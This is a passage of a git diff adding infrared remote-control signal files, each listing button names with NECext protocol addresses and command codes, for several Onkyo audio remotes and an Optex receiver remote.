+address: D2 00 00 00 +command: 50 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 51 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 52 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 53 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 54 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 56 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 58 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 59 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 5A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 5B 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 5C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 5D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 5E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir new file mode 100644 index 000000000..45acd32db --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-146T/210,13.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 16 00 00 00 +# +name: Pause-Record +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 18 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 19 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 1A 00 00 00 +# +name: Autospace +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 1B 00 00 00 +# +name: SkipForward +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 1D 00 00 00 +# +name: Reset +type: parsed +protocol: NECext +address: D2 0D 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir new file mode 100644 index 000000000..a16d7f7eb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-184s/210,109.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir new file mode 100644 index 000000000..87a44eaaa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-425DV/210,43.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 04 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 05 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 06 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 07 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 08 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 09 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0A 00 00 00 +# +name: SlowForward +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0B 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: FastReverse +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 10 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 11 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 13 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 16 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 17 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 18 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 19 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1F 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 44 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 45 00 00 00 +# +name: Dimmer +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 46 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 48 00 00 00 +# +name: Memory +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4B 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4D 00 00 00 +# +name: TopMenu +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 51 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 52 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 53 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 54 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 55 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 56 00 00 00 +# +name: SlowReverse +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 8F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 90 00 00 00 +# +name: CDPlay +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D2 00 00 00 +# +name: Disc+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D3 00 00 00 +# +name: Disc- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D4 00 00 00 +# +name: Disc1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D5 00 00 00 +# +name: Disc2 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D6 00 00 00 +# +name: Disc3 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D7 00 00 00 +# +name: Disc4 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D8 00 00 00 +# +name: Disc5 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D9 00 00 00 +# +name: Disc6 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: DA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir new file mode 100644 index 000000000..8f153e2bf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-50/210,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 49 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 4A 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 4B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 4C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 4D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 4E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 4F 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 50 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 51 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 52 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 53 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 54 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 55 00 00 00 +# +name: REMAIN +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 56 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 57 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 58 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 59 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 5A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 5B 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 5C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 5D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 5E 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: D2 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir new file mode 100644 index 000000000..148be44cf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_RC-682M/210,43.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: display +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 06 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 08 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 09 00 00 00 +# +name: level- +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0A 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0D 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0E 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 10 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 11 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 13 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 14 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 16 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 17 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 1F 00 00 00 +# +name: level+ +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 44 00 00 00 +# +name: clr +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4B 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4E 00 00 00 +# +name: prevmenu +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 50 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 51 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 52 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 53 00 00 00 +# +name: chsel +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 54 00 00 00 +# +name: testtone +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 55 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: 58 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D3 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: D2 2B 00 00 +command: D4 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir new file mode 100644 index 000000000..fe1a9a98b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_rc-211s/210,109.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_PRESET-UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_PRESET-DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: INPUT_SEL_TAPE-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: INPUT_SEL_TAPE-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: INPUT_SEL_CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: INPUT_SEL_PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: INPUT_SEL_TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: INPUT_SEL_VIDEO-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: INPUT_SEL_VIDEO-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: DECK-B_STOP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECK-B_FWD-PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECK-B_REV-PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECK-B_RECORD-PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: DECK-B_FF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECK-B_REW +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1B 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1C 00 00 00 +# +name: CD_SKIP-NEXT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1D 00 00 00 +# +name: CD_SKIP-LAST +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1E 00 00 00 +# +name: CD_PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1F 00 00 00 +# +name: INPUT_SEL_DIRECT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 44 00 00 00 +# +name: TUNER_CLASS +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4A 00 00 00 +# +name: DECK-A_STOP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: DECK-A_FWD-PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: DECK-A_REV-PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECK-A_RECORD-PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 50 00 00 00 +# +name: DECK-A_FF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECK-A_REW +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: SPEAKERS_MAIN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: SPEAKERS_REMOTE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: SIMUL_SOURCE_VOL-UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C2 00 00 00 +# +name: SIMUL_SOURCE_VOL-DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C3 00 00 00 +# +name: SIMUL_SOURCE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir new file mode 100644 index 000000000..599922bdd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Onkyo/Unknown_rc-252s/210,109.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: TUNER_CLASS-PRESET_UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 00 00 00 00 +# +name: TUNER_CLASS-PRESET_DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 01 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 02 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 03 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 04 00 00 00 +# +name: MUTING +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 05 00 00 00 +# +name: INPUT_SEL_TAPE-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 07 00 00 00 +# +name: INPUT_SEL_TAPE-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 08 00 00 00 +# +name: INPUT_SEL_CD +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 09 00 00 00 +# +name: INPUT_SEL_PHONO +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0A 00 00 00 +# +name: INPUT_SEL_TUNER +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0B 00 00 00 +# +name: INPUT_SEL_VIDEO-3 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0D 00 00 00 +# +name: INPUT_SEL_VIDEO-2 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0E 00 00 00 +# +name: INPUT_SEL_VIDEO-1 +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 0F 00 00 00 +# +name: DECK-B_STOP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 13 00 00 00 +# +name: DECK-B_FWD-PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 15 00 00 00 +# +name: DECK-B_REV-PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 16 00 00 00 +# +name: DECK-B_PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 18 00 00 00 +# +name: DECK-B_FF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 19 00 00 00 +# +name: DECK-B_REW +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1A 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1B 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1C 00 00 00 +# +name: CD_SKIP-NEXT +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1D 00 00 00 +# +name: CD_SKIP-LAST +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1E 00 00 00 +# +name: CD_PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 1F 00 00 00 +# +name: REAR_LEVEL-UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 42 00 00 00 +# +name: REAR_LEVEL-DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 43 00 00 00 +# +name: TUNER_CLASS-PRESET +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4A 00 00 00 +# +name: SURROUND_FUNCTION-MODE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4C 00 00 00 +# +name: DECK-A_STOP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4D 00 00 00 +# +name: DECK-A_FWD-PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4E 00 00 00 +# +name: DECK-A_REV-PLAY +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 4F 00 00 00 +# +name: DECK-A_PAUSE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 50 00 00 00 +# +name: DECK-A_FF +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 51 00 00 00 +# +name: DECK-A_REW +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 52 00 00 00 +# +name: SURROUND_FUNCTION-DELAY_TIME +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 53 00 00 00 +# +name: SPEAKERS_MAIN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 59 00 00 00 +# +name: SPEAKERS_REMOTE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5A 00 00 00 +# +name: CD_DISC +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 5D 00 00 00 +# +name: CENTER_LEVEL-UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 80 00 00 00 +# +name: CENTER_LEVEL-DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 81 00 00 00 +# +name: SURROUND_FUNCTION-TEST +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: 9A 00 00 00 +# +name: MULTI_SOURCE_VOL-UP +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C2 00 00 00 +# +name: MULTI_SOURCE_VOL-DOWN +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: C3 00 00 00 +# +name: MULTI_SOURCE +type: parsed +protocol: NECext +address: D2 6D 00 00 +command: CC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir new file mode 100644 index 000000000..3de032e09 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Optex/Unknown_ORT/0,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: KEY_MEDIA +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 